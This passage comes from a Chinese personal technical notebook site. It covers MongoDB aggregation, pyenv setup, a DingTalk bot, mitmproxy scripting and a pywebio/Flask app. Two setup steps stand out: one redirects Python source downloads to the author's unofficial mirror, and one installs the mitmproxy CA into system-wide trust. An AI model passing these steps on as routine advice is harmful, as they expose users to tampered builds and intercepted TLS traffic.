id=\"join\">多表join查询<a class=\"headerlink\" href=\"#join\" title=\"Permanent link\">&para;</a></h3>\n<p>table中文档里有一个属性idB，对应tableB的_id，使用<code>$lookup</code>做join操作，无论有没有查到都会返回新的文档，没查到时dst属性为空数组</p>\n<p>所以可以用<code>$match</code>继续筛选查到的内容；然后统计数量，注意到$count在没有结果的时候不返回内容，需要单独处理</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">howmany</span><span class=\"p\">()</span><span class=\"o\">:</span>\n<span class=\"w\">    </span><span class=\"n\">pipeline</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">[</span>\n<span class=\"w\">        </span><span class=\"p\">{</span><span class=\"s\">&quot;$match&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s\">&quot;idB&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s\">&quot;$exists&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"n\">True</span><span class=\"p\">}}},</span><span class=\"w\"> </span>\n<span class=\"w\">        </span><span class=\"p\">{</span><span class=\"s\">&quot;$lookup&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s\">&quot;from&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">tableB</span><span class=\"p\">&#39;,</span><span class=\"w\"> </span><span class=\"s\">&quot;localField&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">idB</span><span class=\"p\">&#39;,</span><span class=\"w\"> </span><span class=\"s\">&quot;foreignField&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">_id</span><span class=\"p\">&#39;,</span><span class=\"w\"> </span><span class=\"s\">&quot;as&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">dst</span><span class=\"p\">&#39;}},</span>\n<span class=\"w\">        </span><span class=\"p\">{</span><span class=\"s\">&quot;$match&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s\">&quot;dst&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s\">&quot;$size&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"mh\">1</span><span class=\"p\">}}},</span>\n<span class=\"w\">        </span><span class=\"p\">{</span><span class=\"s\">&quot;$count&quot;</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"s\">&quot;cnt&quot;</span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">]</span>\n<span class=\"w\">    </span><span class=\"n\">data</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"p\">(</span><span class=\"k\">table</span><span class=\"p\">.</span><span class=\"n\">aggregate</span><span class=\"p\">(</span><span class=\"n\">pipeline</span><span class=\"p\">))</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"k\">not</span><span class=\"w\"> </span><span class=\"nl\">data:</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"mh\">0</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"mh\">0</span><span class=\"p\">][</span><span class=\"s\">&quot;cnt&quot;</span><span class=\"p\">]</span>\n</code></pre></div>\n\n<h3 id=\"_19\">随机采样<a class=\"headerlink\" href=\"#_19\" title=\"Permanent link\">&para;</a></h3>\n<p>pipeline中使用：但是注意可能会有重复的元素 需要自己去重</p>\n<div class=\"codehilite\"><pre><span></span><code>{&quot;$sample&quot;: {&quot;size&quot;:10}}\n</code></pre></div>\n\n<hr />\n<h2 id=\"pyenvpython\">使用pyenv编译安装不同版本的Python<a class=\"headerlink\" href=\"#pyenvpython\" title=\"Permanent link\">&para;</a></h2>\n<p>想自己维护一个完整的虚拟环境，方便的安装各种版本，用<a href=\"https://github.com/pyenv/pyenv\">pyenv</a>呗</p>\n<p>安装：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">clone</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">github</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"o\">/</span><span class=\"n\">pyenv</span><span class=\"o\">/</span><span class=\"n\">pyenv</span><span class=\"o\">.</span><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"o\">~/.</span><span class=\"n\">pyenv</span>\n<span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s1\">&#39;export PYENV_ROOT=&quot;$HOME/.pyenv&quot;&#39;</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"o\">~/.</span><span class=\"n\">bash_profile</span>\n<span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s1\">&#39;export PATH=&quot;$PYENV_ROOT/bin:$PATH&quot;&#39;</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"o\">~/.</span><span class=\"n\">bash_profile</span>\n<span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">e</span><span class=\"w\"> </span><span class=\"s1\">&#39;if command -v pyenv 1&gt;/dev/null 2&gt;&amp;1; then</span><span class=\"se\">\\n</span><span class=\"s1\">  eval &quot;$(pyenv init -)&quot;</span><span class=\"se\">\\n</span><span class=\"s1\">fi&#39;</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"o\">~/.</span><span class=\"n\">bash_profile</span>\n</code></pre></div>\n\n<p>然后就能编译安装特定版本的Python了，以3.7.0为例：使用我提供的www.python.org的镜像</p>\n<div class=\"codehilite\"><pre><span></span><code>apt install -y libffi-dev libgnutls28-dev\ncd ~/.pyenv/plugins\nsed -i &#39;s#www.python.org#py.py3.io#g&#39; $(grep www.python.org -r . -l)\npyenv install -v 3.7.0\npyenv global 3.7.0\n</code></pre></div>\n\n<p>之后使用如果遇到密码学库的问题：</p>\n<div class=\"codehilite\"><pre><span></span><code>pip uninstall pycrypto pycryptodome\npip install pycryptodome\n</code></pre></div>\n\n<hr />\n<h2 id=\"_20\">发送钉钉消息<a class=\"headerlink\" href=\"#_20\" title=\"Permanent link\">&para;</a></h2>\n<p>群聊加入机器人 关键词设置为一定会出现的字符如<code>.。[</code>，获取url后调用时只需要传入token部分</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"k\">def</span> <span class=\"nf\">dingsend</span><span class=\"p\">(</span><span class=\"n\">token</span><span class=\"p\">,</span> <span class=\"n\">text</span><span class=\"p\">):</span>\n    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\n        <span class=\"s2\">&quot;msgtype&quot;</span> <span class=\"p\">:</span> <span class=\"s2\">&quot;text&quot;</span> <span class=\"p\">,</span>\n        <span class=\"s2\">&quot;text&quot;</span> <span class=\"p\">:</span> <span class=\"p\">{</span> <span class=\"s2\">&quot;content&quot;</span> <span class=\"p\">:</span> <span class=\"n\">text</span> <span class=\"p\">},</span>\n        <span class=\"s2\">&quot;isAtAll&quot;</span> <span class=\"p\">:</span> <span class=\"kc\">False</span> \n    <span class=\"p\">}</span>\n    <span class=\"k\">return</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://oapi.dingtalk.com/robot/send?access_token=&quot;</span><span class=\"o\">+</span><span class=\"n\">token</span><span class=\"p\">,</span> <span class=\"n\">json</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"mitmproxy\">使用mitmproxy<a class=\"headerlink\" href=\"#mitmproxy\" title=\"Permanent link\">&para;</a></h2>\n<p>python3 -m pip install mitmproxy</p>\n<p>参考： https://stackoverflow.com/questions/51893788/using-mitmproxy-inside-python-script</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">mitmproxy.options</span> <span class=\"kn\">import</span> <span class=\"n\">Options</span>\n<span class=\"kn\">from</span> <span class=\"nn\">mitmproxy.proxy.config</span> <span class=\"kn\">import</span> <span class=\"n\">ProxyConfig</span>\n<span class=\"kn\">from</span> <span class=\"nn\">mitmproxy.proxy.server</span> <span class=\"kn\">import</span> <span class=\"n\">ProxyServer</span>\n<span class=\"kn\">from</span> <span class=\"nn\">mitmproxy.tools.dump</span> <span class=\"kn\">import</span> <span class=\"n\">DumpMaster</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">threading</span>\n<span class=\"kn\">import</span> <span class=\"nn\">asyncio</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n\n<span class=\"k\">class</span> <span class=\"nc\">Addon</span><span class=\"p\">(</span><span class=\"nb\">object</span><span class=\"p\">):</span>\n    <span class=\"k\">def</span> <span class=\"fm\">__init__</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">):</span>\n        <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span> <span class=\"o\">=</span> <span class=\"mi\">1</span>\n\n    <span class=\"k\">def</span> <span class=\"nf\">request</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">flow</span><span class=\"p\">):</span>\n        <span class=\"n\">flow</span><span class=\"o\">.</span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">headers</span><span class=\"p\">[</span><span class=\"s2\">&quot;count&quot;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span><span class=\"p\">)</span>\n\n    <span class=\"k\">def</span> <span class=\"nf\">response</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">flow</span><span class=\"p\">):</span>\n        <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span> <span class=\"o\">=</span> <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span> <span class=\"o\">+</span> <span class=\"mi\">1</span>\n        <span class=\"n\">flow</span><span class=\"o\">.</span><span class=\"n\">response</span><span class=\"o\">.</span><span class=\"n\">headers</span><span class=\"p\">[</span><span class=\"s2\">&quot;count&quot;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span><span class=\"p\">)</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">num</span><span class=\"p\">)</span>\n\n\n<span class=\"c1\"># see source mitmproxy/master.py for details</span>\n<span class=\"k\">def</span> <span class=\"nf\">loop_in_thread</span><span class=\"p\">(</span><span class=\"n\">loop</span><span class=\"p\">,</span> <span class=\"n\">m</span><span class=\"p\">):</span>\n    <span class=\"n\">asyncio</span><span class=\"o\">.</span><span class=\"n\">set_event_loop</span><span class=\"p\">(</span><span class=\"n\">loop</span><span class=\"p\">)</span>  <span class=\"c1\"># This is the key.</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">run_loop</span><span class=\"p\">(</span><span class=\"n\">loop</span><span class=\"o\">.</span><span class=\"n\">run_forever</span><span class=\"p\">)</span>\n\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&quot;__main__&quot;</span><span class=\"p\">:</span>\n    <span class=\"n\">options</span> <span class=\"o\">=</span> <span class=\"n\">Options</span><span class=\"p\">(</span><span class=\"n\">listen_host</span><span class=\"o\">=</span><span class=\"s1\">&#39;0.0.0.0&#39;</span><span class=\"p\">,</span> <span class=\"n\">listen_port</span><span class=\"o\">=</span><span class=\"mi\">8080</span><span class=\"p\">,</span> <span class=\"n\">http2</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span> <span class=\"o\">=</span> <span class=\"n\">DumpMaster</span><span class=\"p\">(</span><span class=\"n\">options</span><span class=\"p\">,</span> <span class=\"n\">with_termlog</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">,</span> <span class=\"n\">with_dumper</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n    <span class=\"n\">config</span> <span class=\"o\">=</span> <span class=\"n\">ProxyConfig</span><span class=\"p\">(</span><span class=\"n\">options</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">server</span> <span class=\"o\">=</span> <span class=\"n\">ProxyServer</span><span class=\"p\">(</span><span class=\"n\">config</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">addons</span><span class=\"o\">.</span><span class=\"n\">add</span><span class=\"p\">(</span><span class=\"n\">Addon</span><span class=\"p\">())</span>\n\n    <span class=\"c1\"># run mitmproxy in backgroud, especially integrated with other server</span>\n    <span class=\"n\">loop</span> <span class=\"o\">=</span> <span class=\"n\">asyncio</span><span class=\"o\">.</span><span class=\"n\">get_event_loop</span><span class=\"p\">()</span>\n    <span class=\"n\">t</span> <span class=\"o\">=</span> <span class=\"n\">threading</span><span class=\"o\">.</span><span class=\"n\">Thread</span><span class=\"p\">(</span> <span class=\"n\">target</span><span class=\"o\">=</span><span class=\"n\">loop_in_thread</span><span class=\"p\">,</span> <span class=\"n\">args</span><span class=\"o\">=</span><span class=\"p\">(</span><span class=\"n\">loop</span><span class=\"p\">,</span><span class=\"n\">m</span><span class=\"p\">)</span> <span class=\"p\">)</span>\n    <span class=\"n\">t</span><span class=\"o\">.</span><span class=\"n\">start</span><span class=\"p\">()</span>\n\n    <span class=\"c1\"># Other servers, such as a web server, might be started then.</span>\n    <span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">sleep</span><span class=\"p\">(</span><span class=\"mi\">20</span><span class=\"p\">)</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s1\">&#39;going to shutdown mitmproxy&#39;</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">shutdown</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<p>安装proxychains:</p>\n<div class=\"codehilite\"><pre><span></span><code>apt install proxychains4\n</code></pre></div>\n\n<p>修改/etc/proxychains.conf，最后一行改成<code>http 127.0.0.1 8080</code></p>\n<p>添加信任：参考 https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu</p>\n<div class=\"codehilite\"><pre><span></span><code>cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitm.crt\nupdate-ca-certificates\n</code></pre></div>\n\n<h2 id=\"pywebioflask-markdown\">pywebio+Flask 构建交互式markdown网站<a class=\"headerlink\" href=\"#pywebioflask-markdown\" title=\"Permanent link\">&para;</a></h2>\n<p>比较适合简单线性流程的工作，例如取代python自带的input界面</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">sys</span><span class=\"o\">,</span> <span class=\"nn\">os</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pywebio.input</span> <span class=\"kn\">import</span> <span class=\"o\">*</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pywebio.output</span> <span class=\"kn\">import</span> <span class=\"o\">*</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pywebio.session</span> <span class=\"kn\">import</span> <span class=\"o\">*</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pywebio.platform.flask</span> <span class=\"kn\">import</span> <span class=\"n\">webio_view</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pywebio.platform</span> <span class=\"kn\">import</span> <span class=\"n\">page</span>\n<span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">Flask</span><span class=\"p\">,</span> <span class=\"n\">session</span><span class=\"p\">,</span> <span class=\"n\">request</span><span class=\"p\">,</span> <span class=\"n\">redirect</span>\n\n<span class=\"n\">app</span> <span class=\"o\">=</span> <span class=\"n\">Flask</span><span class=\"p\">(</span><span class=\"vm\">__name__</span><span class=\"p\">)</span>\n\n<span class=\"n\">set_localstorage</span> <span class=\"o\">=</span> <span class=\"k\">lambda</span> <span class=\"n\">key</span><span class=\"p\">,</span> <span class=\"n\">value</span><span class=\"p\">:</span> <span class=\"n\">run_js</span><span class=\"p\">(</span><span class=\"s2\">&quot;localStorage.setItem(key, value)&quot;</span><span class=\"p\">,</span> <span class=\"n\">key</span><span class=\"o\">=</span><span class=\"n\">key</span><span class=\"p\">,</span> <span class=\"n\">value</span><span class=\"o\">=</span><span class=\"n\">value</span><span class=\"p\">)</span>\n<span class=\"n\">get_localstorage</span> <span class=\"o\">=</span> <span class=\"k\">lambda</span> <span class=\"n\">key</span><span class=\"p\">:</span> <span class=\"n\">eval_js</span><span class=\"p\">(</span><span class=\"s2\">&quot;localStorage.getItem(key)&quot;</span><span class=\"p\">,</span> <span class=\"n\">key</span><span class=\"o\">=</span><span class=\"n\">key</span><span class=\"p\">)</span>\n\n<span class=\"nd\">@page</span><span class=\"o\">.</span><span class=\"n\">config</span><span class=\"p\">(</span><span class=\"n\">title</span><span class=\"o\">=</span><span class=\"s2\">&quot;Application Title&quot;</span><span class=\"p\">)</span>\n<span class=\"k\">def</span> <span class=\"nf\">index</span><span class=\"p\">():</span>\n    <span class=\"n\">run_js</span><span class=\"p\">(</span><span class=\"s2\">&quot;history.replaceState(</span><span class=\"si\">{}</span><span class=\"s2\">, &#39;Application Title&#39;, &#39;/index&#39;); document.title=&#39;Application Title&#39;;&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">clear</span><span class=\"p\">()</span>\n    <span class=\"n\">put_markdown</span><span class=\"p\">(</span><span class=\"s2\">&quot;# Application Title&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">put_text</span><span class=\"p\">(</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"nb\">input</span><span class=\"p\">(</span><span class=\"s2\">&quot;input something:&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">put_text</span><span class=\"p\">(</span><span class=\"s2\">&quot;your input: &quot;</span><span class=\"o\">+</span><span class=\"n\">data</span><span class=\"p\">)</span>\n\n<span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">add_url_rule</span><span class=\"p\">(</span><span class=\"s1\">&#39;/&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;index&#39;</span><span class=\"p\">,</span> <span class=\"n\">webio_view</span><span class=\"p\">(</span><span class=\"n\">index</span><span class=\"p\">),</span> <span class=\"n\">methods</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"s1\">&#39;GET&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;POST&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;OPTIONS&#39;</span><span class=\"p\">])</span>\n<span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">add_url_rule</span><span class=\"p\">(</span><span class=\"s1\">&#39;/index&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;index2&#39;</span><span class=\"p\">,</span> <span class=\"n\">webio_view</span><span class=\"p\">(</span><span class=\"n\">index</span><span class=\"p\">),</span> <span class=\"n\">methods</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"s1\">&#39;GET&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;POST&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;OPTIONS&#39;</span><span class=\"p\">])</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">webbrowser</span>\n<span class=\"kn\">from</span> <span class=\"nn\">threading</span> <span class=\"kn\">import</span> <span class=\"n\">Timer</span>\n<span class=\"k\">def</span> <span class=\"nf\">open_browser</span><span class=\"p\">():</span>\n    <span class=\"n\">webbrowser</span><span class=\"o\">.</span><span class=\"n\">open_new</span><span class=\"p\">(</span><span class=\"s1\">&#39;http://127.0.0.1:1323/&#39;</span><span class=\"p\">)</span>\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s1\">&#39;__main__&#39;</span><span class=\"p\">:</span>\n    <span class=\"n\">debug</span> <span class=\"o\">=</span> <span class=\"kc\">True</span>\n    <span class=\"k\">if</span> <span class=\"s2\">&quot;win&quot;</span> <span class=\"ow\">in</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">platform</span><span class=\"p\">:</span>\n        <span class=\"n\">Timer</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"n\">open_browser</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">start</span><span class=\"p\">()</span>\n        <span class=\"n\">debug</span> <span class=\"o\">=</span> <span class=\"kc\">False</span>\n    <span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">run</span><span class=\"p\">(</span><span class=\"n\">host</span><span class=\"o\">=</span><span class=\"s1\">&#39;0.0.0.0&#39;</span><span class=\"p\">,</span> <span class=\"n\">port</span><span class=\"o\">=</span><span class=\"mi\">1323</span><span class=\"p\">,</span> <span class=\"n\">debug</span><span class=\"o\">=</span><span class=\"n\">debug</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>文件上传：例如xlsx</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">openpyxl</span><span class=\"o\">,</span> <span class=\"nn\">time</span>\n\n    <span class=\"n\">f</span> <span class=\"o\">=</span> <span class=\"n\">file_upload</span><span class=\"p\">(</span><span class=\"s2\">&quot;导入号码(需要按照模板填写)&quot;</span><span class=\"p\">,</span> <span class=\"n\">placeholder</span><span class=\"o\">=</span><span class=\"s1\">&#39;选择Excel文件 (xlsx格式)&#39;</span><span class=\"p\">,</span> <span class=\"n\">required</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">,</span> <span class=\"n\">accept</span><span class=\"o\">=</span><span class=\"s2\">&quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">wb</span> <span class=\"o\">=</span> <span class=\"n\">openpyxl</span><span class=\"o\">.</span><span class=\"n\">load_workbook</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"o\">=</span><span class=\"n\">BytesIO</span><span class=\"p\">(</span><span class=\"n\">f</span><span class=\"p\">[</span><span class=\"s2\">&quot;content&quot;</span><span class=\"p\">]),</span> <span class=\"n\">data_only</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">,</span> <span class=\"n\">read_only</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">[]</span>\n    <span class=\"k\">for</span> <span class=\"n\">r</span> <span class=\"ow\">in</span> <span class=\"n\">wb</span><span class=\"o\">.</span><span class=\"n\">active</span><span class=\"o\">.</span><span class=\"n\">rows</span><span class=\"p\">:</span>\n        <span class=\"n\">item</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">value</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">r</span><span class=\"p\">]</span>\n        <span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"n\">item</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>输出表格：</p>\n<div class=\"codehilite\"><pre><span></span><code>put_table(data, header=[&quot;Col1&quot;, &quot;Col2&quot;])\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/PythonCourse/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../gist/\">\n      \n      \n        <link rel=\"next\" href=\"../BASH/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Course Python程序设计 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#python\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Course Python程序设计\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" 